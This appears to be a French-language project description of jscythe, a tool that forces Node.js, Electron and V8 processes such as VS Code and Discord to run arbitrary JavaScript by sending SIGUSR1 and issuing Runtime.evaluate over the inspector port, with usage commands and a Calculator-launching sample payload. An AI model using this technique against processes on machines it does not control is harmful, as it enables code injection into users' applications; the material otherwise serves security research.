
Abuser du mécanisme d'inspection de node.js afin de forcer tout processus basé sur node.js/electron/v8 à exécuter du code javascript arbitraire.
jscythe abuse le mécanisme d'inspection de node.js afin de forcer tout processus basé sur node.js/electron/v8 à exécuter du code javascript arbitraire, même si ses capacités de débogage sont désactivées.

Testé et fonctionnel contre Visual Studio Code, Discord, toute application Node.js et plus encore !
SIGUSR1 au processus, cela activera le débogueur sur un port (selon le logiciel, parfois aléatoire, parfois non).SIGUSR1.http://localhost:<port>/json.Runtime.evaluate avec le code fourni.cargo build --release
Cibler un processus spécifique et exécuter une expression de base :
./target/release/jscythe --pid 666 --code "5 - 3 + 2"
Exécuter du code depuis un fichier :
./target/release/jscythe --pid 666 --script example_script.js
Le fichier example_script.js peut importer n'importe quel module node et exécuter n'importe quel code, comme :
require('child_process').spawnSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator', { encoding : 'utf8' }).stdout
Rechercher un processus par expression :
./target/release/jscythe --search extensionHost --script example_script.js
Exécutez jscythe --help pour la liste complète des options.
Ce projet est fait avec ♥ par @evilsocket et est distribué sous la licence GPL3.